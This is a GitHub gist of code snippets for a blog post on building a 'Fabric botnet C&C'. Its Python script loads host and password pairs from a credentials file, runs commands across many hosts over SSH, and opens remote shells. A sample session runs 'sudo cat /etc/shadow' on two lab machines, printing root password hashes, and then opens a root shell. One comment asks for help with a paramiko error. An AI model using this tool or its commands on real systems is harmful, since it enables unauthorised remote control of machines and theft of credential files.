Last active
February 16, 2019 15:38
-
-
Save jordan-wright/5915260 to your computer and use it in GitHub Desktop.
Fabric Botnet C&C Blog Post
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def check_hosts(): | |
''' Checks each host to see if it's running ''' | |
for host, result in execute(run_command, "uptime", hosts=env.hosts).iteritems(): | |
running_hosts[host] = result if result.succeeded else "Host Down" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[email protected]:22 toor | |
[email protected]:22 toor |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for line in open('creds.txt','r').readlines(): | |
host, passw = line.split() | |
env.hosts.append(host) | |
env.passwords[host] = passw |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from fabric.api import * |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PROMPT = "fabric $ " | |
env.hosts = [] | |
running_hosts = {} | |
def list_hosts(): | |
print "\n{0:5} | {1:30} | {2:15}".format("ID", "Host", "Status") | |
print "-" * 40 | |
for idx, host in enumerate(env.hosts): | |
print "{0:5} | {1:30} | {2}".format(idx, host, running_hosts[host]) | |
print "\n" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
C:\>python fabfile.py | |
[[email protected]:22] Executing task 'run_command' | |
[[email protected]:22] Executing task 'run_command' | |
[0] List Hosts | |
[1] Run Command | |
[2] Open Shell | |
[3] Exit | |
fabric $ 1 | |
ID | Host | Status | |
---------------------------------------- | |
0 | [email protected]:22 | 07:27:14 up 10:40, 2 users, load average: 0.05, 0.03, 0.05 | |
1 | [email protected]:22 | 07:27:12 up 10:39, 3 users, load average: 0.00, 0.01, 0.05 | |
Command: sudo cat /etc/shadow | |
Hosts (eg: 0 1): 0 1 | |
[[email protected]:22] Executing task 'run_command' | |
[[email protected]:22] Executing task 'run_command' | |
[[email protected]:22]: sudo cat /etc/shadow | |
-------------------------------------------------------------------------------- | |
root:$6$jcs.3tzd$aIZHimcDCgr6rhXaaHKYtogVYgrTak8I/EwpUSKrf8cbSczJ3E7TBqqPJN2Xb.8UgKbKyuaqb78bJ8lTWVEP7/:15639:0:99999:7::: | |
daemon:x:15639:0:99999:7::: | |
bin:x:15639:0:99999:7::: | |
sys:x:15639:0:99999:7::: | |
sync:x:15639:0:99999:7::: | |
games:x:15639:0:99999:7::: | |
man:x:15639:0:99999:7::: | |
lp:x:15639:0:99999:7::: | |
<snip> | |
[[email protected]:22]: sudo cat /etc/shadow | |
-------------------------------------------------------------------------------- | |
root:$6$27N90zvh$scsS8shKQKRgubPBFAcGcbIFlYlImYGQpGex.sd/g3UvbwQe5A/aW2sGvOsto09SQBzFF5ZjHuEJmV5GFr0Z0.:15779:0:99999:7::: | |
daemon:*:15775:0:99999:7::: | |
bin:*:15775:0:99999:7::: | |
sys:*:15775:0:99999:7::: | |
sync:*:15775:0:99999:7::: | |
games:*:15775:0:99999:7::: | |
man:*:15775:0:99999:7::: | |
<snip> | |
[0] List Hosts | |
[1] Run Command | |
[2] Open Shell | |
[3] Exit | |
fabric $ 2 | |
ID | Host | Status | |
---------------------------------------- | |
0 | [email protected]:22 | 07:27:14 up 10:40, 2 users, load average: 0.05, 0.03, 0.05 | |
1 | [email protected]:22 | 07:27:12 up 10:39, 3 users, load average: 0.00, 0.01, 0.05 | |
Host: 1 | |
[[email protected]:22] Executing task 'open_shell' | |
Last login: Wed Jul 3 07:27:44 2013 from 192.168.56.1 | |
root@kali:~# whoami | |
root | |
root@kali:~# exit | |
logout | |
[0] List Hosts | |
[1] Run Command | |
[2] Open Shell | |
[3] Exit | |
fabric $ 3 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def run_command(command): | |
try: | |
with hide('running', 'stdout', 'stderr'): | |
if command.strip()[0:5] == "sudo": | |
results = sudo(command) | |
else: | |
results = run(command) | |
except: | |
results = 'Error' | |
return results |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I'm running code for you, but I problem error "No handlers could be found for logger "paramiko.transport" when I used
env.passwords[host] = passwd
pleases, help me ! thanks